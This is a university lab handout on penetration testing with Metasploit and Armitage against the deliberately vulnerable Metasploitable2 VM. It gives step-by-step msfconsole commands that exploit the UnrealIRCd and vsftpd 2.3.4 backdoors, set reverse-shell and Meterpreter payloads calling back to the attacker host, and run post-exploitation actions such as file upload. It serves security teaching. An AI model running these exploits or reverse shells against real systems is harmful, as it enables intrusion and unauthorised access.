

Lab Exploitation with Metasploit

- **Learning Objectives**

- The goal is to teach you the basics of practical penetration testing. The Metasploit Framework (MSF) contains a collection of exploits. It's an infrastructure that you can build upon and utilize for your custom needs. This helps you to concentrate on setting up your exploitation environments, and not have to reinvent the wheel.
- MSF is one of the most popular tools for security professionals conducting practical hacking studies. It contains an extensive exploitation tools and working environments. Additionally, it is free available to public.

- **Preparation**

- **Make sure Kali Linux and Metasploitable VM are on the same Virtual Network and network interfaces can ping one another.**
- **NOTE Metasploitable VM requires DHCP or manually setting its IP.**
- Make sure to read the exploitation lecture slides (available on Canvas)
- You will need Kali Linux and Metasploitable2 for this lab.

Exercise 1:

For this exercise you will need to run the Kali linux virtual machine and the Metasploitable.

Task 1: Setting up the environment for Metasploit on Kali linux

Login to Kali linux (default username/password are root/toor). Login to Metasploitable (default username/password are msfadmin/msfadmin). Find the ip address of the Metasploitable machine and record it. Open a terminal in Kali linux and execute the following command

Metasploit Framework uses PostgreSQL as its database, so you need to launch it by running the following command in the terminal:

service postgresql start

You can verify that PostgreSQL is running by executing the following command:

service postgresql status

With PostgreSQL up and running, you need to create and initialize the msf database by executing the following command:

msfdb init

Answer the following questions:

1. What is the PostgreSQL database?
2. Why do we need to initialize it in the beginning?

Task 2: Starting Metasploit Framework

You can launch the Metasploit Console by click on the  Metasploit icon or type following command in a terminal.

msfconsole

You can use msfconsole to verify if the database is connected by typing the command below

msf> db_status

Type the following in msfconsole

msf> help

Answer the following questions:

1. What are the different categories for commands that appeared when you typed help?
2. Pick two command categories and describe what they are?

Vulnerability Verification with Auxiliary Modules

Before launching an exploit, professional penetration testers often use "Auxiliary" modules to verify a vulnerability exists without running the risk of crashing the service or the server.

1. **Search for Auxiliary Modules:** Instead of searching for an exploit, let's look for a scanner for the VSFTPD service.

```
msf > search type:auxiliary vsftpd
```

2. **Select the Scanner:** We will use a scanner to check the version of the FTP server.

```
msf > use auxiliary/scanner/ftp/ftp_version
msf auxiliary(scanner/ftp/ftp_version) > show options
```

3. Run the Scan: Set the target IP (RHOSTS) and run the module.

```
msf auxiliary(scanner/ftp/ftp_version) > set RHOSTS <IP of
Metasploitable2>
msf auxiliary(scanner/ftp/ftp_version) > run
```

Observation: Note that the output confirms the version is vsftpd 2.3.4. This confirms the target is likely vulnerable to the backdoor we identified earlier without actually triggering the malicious code yet.

Question:

- What is the primary technical difference between an *Auxiliary* module and an *Exploit* module in the Metasploit Framework?

Task 3: Identifying the Vulnerabilities and Attacking Target

Find the IP address of the Metasploitable2 machine by executing the following in the terminal

\$ ifconfig

During the scanning phase in the previous lab, we have identified few vulnerabilities in Metasploitable2 and the ports associated with them. We only will exploit two vulnerabilities in this lab which are described below.

UnrealRCD IRC Daemon Backdoor

On port 6667, Metasploitable2 runs the UnrealRCD IRC daemon. This version contains a backdoor that went unnoticed for months. Metasploit has a module to exploit this in order to gain an interactive shell.

Vsftpd v2.3.4 Backdoor

This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. Metasploit can exploit the malicious backdoor that was added to the vsftpd download archive.

There are more vulnerabilities that can be exploited on the target. You can find a list of all the vulnerabilities for Metasploitable2 from here:

<https://community.rapid7.com/docs/DOC-1875>

and

<http://chousensha.github.io/blog/2014/06/03/pentest-lab-metasploitable-2/>

Go back to Kali Linux and make sure you are still in the MSF console. Search for the UnrealRCD IRC daemon using keyword search

msf> search ircd

Set the module you want to use:

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf

Analyzing the Exploit Code

You must understand how it functions. Metasploit modules are written in Ruby. Let's examine the source code of this exploit to see how it works.

1. View the Module Info:

```
msf exploit(unreal_ircd_3281_backdoor) > info
```

Read the description and references to understand the CVE (Common Vulnerabilities and Exposures) context.

2. Edit/View the Source Code: Type the following command to open the exploit code in the terminal editor (vi/vim/nano):

```
msf exploit(unreal_ircd_3281_backdoor) > edit
```

(Note: If edit opens a blank editor, you can locate the file manually in a new terminal window: cat /usr/share/metasploit-framework/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb)

3. Find the Payload Trigger: Scroll down to the exploit function (usually near the bottom). Look for the line that constructs the packet sent to the server. You should see a line similar to: request = "AB;" + payload.encoded + "\n"

Questions:

- The UnrealIRCD backdoor is triggered by sending a specific string of characters starting with "AB". Why does this allow us to execute code? (Hint: Look at the variable payload.encoded).
- Exit the editor (:q if in vim) to return to the msfconsole.

exploit(unreal_ircd_3281_backdoor) > show payloads

```
msf exploit(unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse
```

Here, we use the module for exploiting a backdoor of UnrealRCD IRC daemon.
Then,
set the remote host:

```
msf exploit(unreal_ircd_3281_backdoor) > set RHOST <ip address of Metasploitable2>
```

You can now launch the attack using the following command

```
msf exploit(unreal_ircd_3281_backdoor) > show options
```

```
msf exploit(unreal_ircd_3281_backdoor) > set LHOST <ip address of kali>
```

```
msf exploit(unreal_ircd_3281_backdoor) > show options
```

```
msf exploit(unreal_ircd_3281_backdoor) > exploit
```

You should now see that Metasploit successfully gains a shell session. Try executing the following commands to show that you indeed have access to the Metasploitable2 machine from the Kali Linux.

```
$ whoami
```

```
$ uname -a
```

When done taking screen shots, close the terminal

Now, we are going to use another vulnerability of the target machine (i.e., Vsftpd backdoor) to launch an attack. The steps are similar to the previous attack.

Open a new terminal

```
# msfconsole
```

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf exploit(vsftpd_234_backdoor) > set RHOST <ip address of Metasploitable2>
```

```
msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact
```

```
msf exploit(vsftpd_234_backdoor) > exploit
```

\$ whoami

\$ uname -a

Answer the following questions:

1. How is the “UnrealRCD IRC Daemon Backdoor” Vulnerability triggered?
(You will have to do some research on the vulnerability)
2. We learned when the when was the backdoor in the “Vsftpd v2.3.4” introduced, when was it removed? (You will have to do some research on the vulnerability)
3. Why did we need to set a payload in the exploitation of the second vulnerability but not for the first?

You can exit the shell with

\$ exit

Upgrading the Attack: Using Meterpreter

In the previous steps, we used a basic command shell. Now, we will use the **Meterpreter** payload. Meterpreter is an advanced, in-memory payload that offers complex post-exploitation features (like webcam capture, password dumping, and pivoting) that a simple shell cannot do.

1. **Set the Meterpreter Payload:** Still inside the unreal_ircd exploit module:

```
msf exploit(unreal_ircd_3281_backdoor) > set payload  
cmd/unix/reverse_ruby
```

(Note: If the linux/x86/meterpreter/reverse_tcp payload is compatible, you may use it. However, for this specific vulnerability, the reverse_ruby payload often works best to bridge the gap).

2. **Launch the Attack:**

```
msf exploit(unreal_ircd_3281_backdoor) > exploit
```

If successful, you will see Meterpreter session 1 opened.

3. **Post-Exploitation Commands:** You are now inside the Meterpreter prompt (meterpreter >). Run the following commands:

- o **System Analysis:**

```
meterpreter > sysinfo  
meterpreter > getuid
```

- o **File System Manipulation (The Challenge):** Instead of using touch via a shell, use Meterpreter to upload a file from your Kali machine to the victim.

1. On Kali (open a new terminal), create a file: `echo "Compromised by [YourNames]" > proof.txt`
2. Back in Meterpreter:

```
meterpreter > upload /root/proof.txt /tmp/proof.txt
```

3. Verify the file exists on the target:

```
meterpreter > execute -f cat -a "/tmp/proof.txt"
```

4. Questions:

- Compare the output of `sysinfo` in Meterpreter to the output of `uname -a` in a standard shell. What additional information does Meterpreter provide?
- Why is an in-memory agent (like Meterpreter) generally preferred over a standard command shell for avoiding detection?

Exercise 2:

For this exercise, we will be using the GUI version of Metasploit known as Armitage

Task1: Armitage - Cyber Attack Management for Metasploit

Armitage is a GUI tool for the Metasploit framework that makes penetration testing easy. We first need to setup Armitage so open a new terminal and install Armitage using the following command

apt-get install armitage

Start Armitage using by simply typing *armitage* in the console. Then, you will get pop-up windows. Click "Connect" and "Yes".

Click on the "Hosts" tab and then click on "Add Hosts". In the pop-up Window, type the IP address of the Metasploitable2-Linux machine. Then, click "add"

After you add the Metasploitable2 Linux as a target host, right click the host entry and select "Scan". This will scan the host and identify its vulnerabilities.

Task2: Mounting the attack

Before you can attack, you must choose your weapon. Armitage makes this process easy. Select the host icon and from the left side select exploit -> Unix -> ftp -> "vsftpd_234_backdoor". When the attack screen appears, select "Use a reverse connection" and press "Launch" (notice the change in the target host icon).

Right Click on the host entry and select "Shell 1" -> "Interact". A new tab with the shell will open in the area below. Type the commands "*whoami*" and "*uname -a*" to show you that I have indeed successfully exploited the host.

Answer the following questions:

1. Why do we need to assign an internal IP address (i.e., behind NAT) for Metasploitable2-Linux? What will happen if we assign a public IP to it?
2. Besides the two vulnerabilities we used, exploit another vulnerability using both msfconsole and Armitage. Show me that you have placed a file in the exploited remote machine via screenshots and by creating the file with the command "*touch <yourlastnames>*" where *<yourlastnames>* should be replaced with both team members last names with an underscore in between them.

Deliverables:

Your report should include the following:

- A cover page with the report title, lab number, the name of all members of the team, and tan honor code statement.
- An introduction explaining what you will be doing in this lab and how you prepared for the tasks required.
- A narrative which explain the steps you are making for each task accompanied by screenshots of the steps you are performing.
- Answers to all the questions in each section with necessary images and screenshots when applicable.
- A conclusion section which includes a summary of your findings, lesson learned from the lab, and your comments.
- An acknowledgement section if you have any.

- A reference section which includes all the references you have used with URL when applicable.

Good Luck!